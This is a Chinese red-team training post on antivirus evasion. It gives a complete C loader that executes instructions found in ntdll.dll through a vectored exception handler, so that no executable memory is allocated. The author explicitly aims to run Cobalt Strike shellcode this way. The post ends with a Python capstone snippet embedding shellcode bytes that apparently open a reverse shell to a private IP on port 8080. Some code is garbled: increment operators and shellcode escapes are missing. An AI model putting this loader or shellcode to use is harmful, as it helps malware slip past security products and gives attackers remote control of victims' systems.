红队免杀培训第一章-不可执行的shellcode

2022-03-29 16:48:38 浏览数 (1)

前言

这里照常去做CS的免杀加载器的实现,因为用先有的c2框架是非常方便顺手,当然你自己开发的c2框架也行,肯定也有生成shellcode这个功能,也需要进行内存执行的需求。

今天要讲的这种原理是根据ntdll.dll先有的指令来执行我们的代码,恶意代码保存在于数据部分中,这种的好处是我们绕过了不可执行的内存保护,绕过了静态代码分析,这种技术有点pwn利用链的感觉,玩过的pwn都知道,我们去rop构造利用链的时候就是去找文件原有的汇编代码,通过地址来使用,达到我们想要组合利用的效果,这样的好处就是,我们运行的所有指令在内存中的地址都是分散的,起到对抗杀软内存扫描的效果,因为这种方式已经脱离了传统的分配可执行的内存空间,然后把shellcode放进去执行,没有可执行的分配内存区域可供扫描,免杀效果很好。

原理和准备

需要用的windows api

1.RtlAddVectoredExceptionHandler 这是用来添加自定义异常处理程序

工作流程:

1.创建一个包含我们要执行的所有汇编指令的数据结构。

  1. 在ntdll.dll的代码段中搜索上述每条指令并存储地址。
  2. 使用RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序
  3. 使用int 3 触发断点
  4. 程序现在已经进入了我们自定义的异常处理程序,存储原始线程上下文以供以后使用
  5. 将 EIP 寄存器设置为列表中的第一个目标指令(在ntdll.dll中)
  6. 如果当前指令是“调用”,则在调用后直接在指令上使用Dr0调试寄存器设置硬件断点——我们要“跳过”调用。否则,使用EFlags |= 0x100设置单步标志以中断下一条指令
  7. 更新当前指令所需的任何其他寄存器的值
  8. 使用EXCEPTION_CONTINUE_EXECUTION继续执行。下一条指令将引发另一个异常,我们将回到步骤 6 继续,直到所有指令都按顺序运行。
  9. 在所有目标指令执行完毕后,从步骤5恢复原始线程上下文以继续程序的原始流程。

简而言之,通过RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序,然后保存上下文,然后通过找到的汇编指令地址去执行,执行完毕后又引发异常处理程序,去执行其他指令,所有指令执行完毕之后,就直接恢复之前的保存的状态,而我们要执行的汇编指令是保存在结构体的。

参考代码(下面结构体保存着弹框的汇编代码实例):

代码语言:javascript复制
InstructionEntryStruct Global_InstructionList[] =
{
// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置弹框titie "gammalab"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

// 将消息框title ptr 存储在 edi 寄存器中
{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置消息框文本内容为 "gammalabredteam"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



// 调用MessageBoxA
{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

可以看到结构头定义如下:

代码语言:javascript复制
struct InstructionEntryStruct
{
char *pLabel;
BYTE bInstruction[16];
DWORD dwInstructionLength;
DWORD dwInstructionAddr;
DWORD dwEax;
DWORD dwEbx;
DWORD dwEcx;
DWORD dwEdx;
DWORD dwEdi;
DWORD dwEsi;
DWORD dwInstructionFlags;
};

pLabel:此字段仅用于记录/调试目的,到时候可以看到具体是哪条指令出错了

bInstruction:该字段包含汇编指令的操作码,例如push eax的 0x50

dwInstructionLength:bInstruction 字段的长度

dwInstructionAddr:此字段由程序填充 -扫描ntdll.dll以查找匹配指令的地址

dwEax / dwEbx / dwEcx / dwEdx / dwEdi / dwEsi 这些字段设置当前指令执行前的指定寄存器值。

dwInstructionFlags:该字段指定应该更新哪些寄存器值,它还用于指定当前指令是否为“调用”。

但是从ntdll.dll内存中找我们想要的代码是有局限性的,比如一些特殊数据,不能从现有的内存里面找到,这时候就需要在执行指令之前在异常处理程序中操作寄存器,更改寄存器的值。

实际代码示例

弹框的shellcode示例代码:

代码语言:javascript复制
#include <stdio.h>
#include <windows.h>

#define FLAG_EAX 0x00000001
#define FLAG_EBX 0x00000002
#define FLAG_ECX 0x00000004
#define FLAG_EDX 0x00000008
#define FLAG_EDI 0x00000010
#define FLAG_ESI 0x00000020
#define FLAG_CALL 0x00000040

struct InstructionEntryStruct
{
const char* pLabel;
BYTE bInstruction[16];
DWORD dwInstructionLength;
DWORD dwInstructionAddr;
DWORD dwEax;
DWORD dwEbx;
DWORD dwEcx;
DWORD dwEdx;
DWORD dwEdi;
DWORD dwEsi;
DWORD dwInstructionFlags;
};
DWORD dwGlobal_CurrInstruction = 0;
CONTEXT Global_OrigContext;
InstructionEntryStruct Global_InstructionList[] =
{
// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置弹框titie "gammalab"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

// 将消息框title ptr 存储在 edi 寄存器中
{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置消息框文本内容为 "gammalabredteam"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



// 调用MessageBoxA
{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

LONG WINAPI ExceptionHandler(EXCEPTION_POINTERS* pExceptionInfo)
{
InstructionEntryStruct* pCurrInstruction = NULL;

// 确保这是一个断点/单步异常
if (pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT && pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
{
        // 这不是我们预期的异常,所以将此异常传递给下一个处理程序
        return EXCEPTION_CONTINUE_SEARCH;
}
// 重置硬件断点
pExceptionInfo->ContextRecord->Dr0 = 0;
pExceptionInfo->ContextRecord->Dr7 = 0;

if (dwGlobal_CurrInstruction == 0)
{
        // 存储原始上下文
        memcpy((void*)&Global_OrigContext, (void*)pExceptionInfo->ContextRecord, sizeof(CONTEXT));
}
else if (dwGlobal_CurrInstruction >= (sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0])))
{
        // 完成执行所有指令 - 恢复原始上下文
        memcpy((void*)pExceptionInfo->ContextRecord, (void*)&Global_OrigContext, sizeof(CONTEXT));

        // 移动到下一条指令(在 int3 之后)
        pExceptionInfo->ContextRecord->Eip  ;

        // 继续执行
        return EXCEPTION_CONTINUE_EXECUTION;
}

// 获取当前指令入口
pCurrInstruction = &Global_InstructionList[dwGlobal_CurrInstruction];


// 将指令 ptr 设置为下一条指令
pExceptionInfo->ContextRecord->Eip = pCurrInstruction->dwInstructionAddr;

// 检查注册标志
if (pCurrInstruction->dwInstructionFlags & FLAG_EAX)
{
        //设置eax
        printf("<InternalExHandler> mov eax, 0x%xn", pCurrInstruction->dwEax);
        pExceptionInfo->ContextRecord->Eax = pCurrInstruction->dwEax;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EBX)
{
        // 设置 ebx
        printf("<InternalExHandler> mov ebx, 0x%xn", pCurrInstruction->dwEbx);
        pExceptionInfo->ContextRecord->Ebx = pCurrInstruction->dwEbx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_ECX)
{
        // 设置 ecx
        printf("<InternalExHandler> mov ecx, 0x%xn", pCurrInstruction->dwEcx);
        pExceptionInfo->ContextRecord->Ecx = pCurrInstruction->dwEcx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EDX)
{
        // 设置 edx
        printf("<InternalExHandler> mov edx, 0x%xn", pCurrInstruction->dwEdx);
        pExceptionInfo->ContextRecord->Edx = pCurrInstruction->dwEdx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EDI)
{
        // 设置 edi
        printf("<InternalExHandler> mov edi, 0x%xn", pCurrInstruction->dwEdi);
        pExceptionInfo->ContextRecord->Edi = pCurrInstruction->dwEdi;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_ESI)
{
        // 设置 esi
        printf("<InternalExHandler> mov esi, 0x%xn", pCurrInstruction->dwEsi);
        pExceptionInfo->ContextRecord->Esi = pCurrInstruction->dwEsi;
}

// 打印当前指令标签
printf("<ntdll: 0xX> %sn", pCurrInstruction->dwInstructionAddr, pCurrInstruction->pLabel);

// 检查这是否是“呼叫”指令
if (pCurrInstruction->dwInstructionFlags & FLAG_CALL)
{
        // 在“调用”之后的第一条指令上设置硬件断点
        pExceptionInfo->ContextRecord->Dr0 = pCurrInstruction->dwInstructionAddr   pCurrInstruction->dwInstructionLength;
        pExceptionInfo->ContextRecord->Dr7 = 1;
}
else
{
        // 一小步
        pExceptionInfo->ContextRecord->EFlags |= 0x100;
}
//移动到下一条指令
dwGlobal_CurrInstruction  ;
//继续执行
return EXCEPTION_CONTINUE_EXECUTION;
}

DWORD GetModuleCodeSection(DWORD dwModuleBase, DWORD* pdwCodeSectionStart, DWORD* pdwCodeSectionLength)
{
IMAGE_DOS_HEADER* pDosHeader = NULL;
IMAGE_NT_HEADERS* pNtHeader = NULL;
IMAGE_SECTION_HEADER* pCurrSectionHeader = NULL;
char szCurrSectionName[16];
DWORD dwFound = 0;
DWORD dwCodeSectionStart = 0;
DWORD dwCodeSectionLength = 0;
// 获取dos header ptr(模块开始)
pDosHeader = (IMAGE_DOS_HEADER*)dwModuleBase;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
        return 1;
}
// 获取nt头指针
pNtHeader = (IMAGE_NT_HEADERS*)((BYTE*)pDosHeader   pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
        return 1;
}
// 循环遍历所有部分
for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i  )
{
        // 获取当前节标题
        pCurrSectionHeader = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeader   sizeof(IMAGE_NT_HEADERS)   (i * sizeof(IMAGE_SECTION_HEADER)));

        // pCurrSectionHeader->如果使用了所有 8 个字符,则名称不以 null 结尾 - 将其复制到更大的本地缓冲区
        memset(szCurrSectionName, 0, sizeof(szCurrSectionName));
        memcpy(szCurrSectionName, pCurrSectionHeader->Name, sizeof(pCurrSectionHeader->Name));

        // 检查这是否是主要代码部分
        if (strcmp(szCurrSectionName, ".text") == 0)
        {
            // 找到代码段
            dwFound = 1;
            dwCodeSectionStart = dwModuleBase   pCurrSectionHeader->VirtualAddress;
            dwCodeSectionLength = pCurrSectionHeader->SizeOfRawData;
            break;
        }
}

// 确保找到代码部分
if (dwFound == 0)
{
        return 1;
}
// 存储值
*pdwCodeSectionStart = dwCodeSectionStart;
*pdwCodeSectionLength = dwCodeSectionLength;
return 0;
}

DWORD ScanForInstructions()
{
DWORD dwInstructionCount = 0;
DWORD dwCurrSearchPos = 0;
DWORD dwBytesRemaining = 0;
DWORD dwFoundAddr = 0;
DWORD dwCodeSectionStart = 0;
DWORD dwCodeSectionLength = 0;

// 计算指令数
dwInstructionCount = sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]);

// 查找ntdll代码段范围
if (GetModuleCodeSection((DWORD)GetModuleHandle("ntdll.dll"), &dwCodeSectionStart, &dwCodeSectionLength) != 0)
{
        printf("1111");
        return 1;
}

// 扫描指令
for (DWORD i = 0; i < dwInstructionCount; i  )
{
        // 检查是否已经找到该指令的地址
        if (Global_InstructionList[i].dwInstructionAddr != 0)
        {
            continue;
        }
        // 在 ntdll 代码部分找到这条指令
        dwCurrSearchPos = dwCodeSectionStart;
        dwBytesRemaining = dwCodeSectionLength;
        dwFoundAddr = 0;
        for (;;)
        {
            // 检查是否已到达代码段的末尾
            if (Global_InstructionList[i].dwInstructionLength > dwBytesRemaining)
            {
                break;
            }
            // 检查指令是否存在于此处
            if (memcmp((void*)dwCurrSearchPos, (void*)Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
            {
                dwFoundAddr = dwCurrSearchPos;
                break;
            }

            // 更新搜索索引
            dwCurrSearchPos  ;
            dwBytesRemaining--;
        }

        // 确保找到操作码
        if (dwFoundAddr == 0)
        {
            printf("Error: Instruction not found in ntdll: '%s'n", Global_InstructionList[i].pLabel);

            return 1;
        }

        // store 地址
        Global_InstructionList[i].dwInstructionAddr = dwFoundAddr;

        // 将此指令地址复制到列表中的任何其他匹配指令
        for (DWORD ii = 0; ii < dwInstructionCount; ii  )
        {
            // 检查指令长度是否匹配
            if (Global_InstructionList[ii].dwInstructionLength == Global_InstructionList[i].dwInstructionLength)
            {
                // 检查指令操作码是否匹配
                if (memcmp(Global_InstructionList[ii].bInstruction, Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
                {
                    // 复制指令地址
                    Global_InstructionList[ii].dwInstructionAddr = Global_InstructionList[i].dwInstructionAddr;
                }
            }
        }
}
return 0;
}

int main()
{
PVOID(WINAPI * RtlAddVectoredExceptionHandler)(DWORD dwFirstHandler, void* pExceptionHandler);
DWORD dwThreadID = 0;
HANDLE hThread = NULL;
// 获取 RtlAddVectoredExceptionHandler 函数 ptr
RtlAddVectoredExceptionHandler = (void* (__stdcall*)(unsigned long, void*))GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAddVectoredExceptionHandler");
if (RtlAddVectoredExceptionHandler == NULL)
{
        return 1;
}

// 添加异常处理程序
if (RtlAddVectoredExceptionHandler(1, (void*)ExceptionHandler) == NULL)
{
        return 1;
}

// 扫描 ntdll 填充指令列表
if (ScanForInstructions() != 0)
{
        return 1;
}

//触发异常处理程序的断点
_asm int 3
return 0;
}

效果展示:

那么类推,我们把cs的shellcode转换成汇编,然后放入结构体,那么就能上线。

这里就不放我的实际免杀加载器的代码了,很简单,只需要把shellcode转换成汇编代码,填充进去就行.

把shellcode转换成汇编代码可以参考以下python代码,使用capstone库:

代码语言:javascript复制
from capstone import *
shellcode = ""
shellcode  = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b"
shellcode  = "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7"
shellcode  = "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf"
shellcode  = "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c"
shellcode  = "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01"
shellcode  = "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31"
shellcode  = "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d"
shellcode  = "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66"
shellcode  = "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0"
shellcode  = "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f"
shellcode  = "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68"
shellcode  = "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8"
shellcode  = "x90x01x00x00x29xc4x54x50x68x29x80x6bx00"
shellcode  = "xffxd5x50x50x50x50x40x50x40x50x68xeax0f"
shellcode  = "xdfxe0xffxd5x97x6ax05x68xc0xa8x74x80x68"
shellcode  = "x02x00x1fx90x89xe6x6ax10x56x57x68x99xa5"
shellcode  = "x74x61xffxd5x85xc0x74x0cxffx4ex08x75xec"
shellcode  = "x68xf0xb5xa2x56xffxd5x68x63x6dx64x00x89"
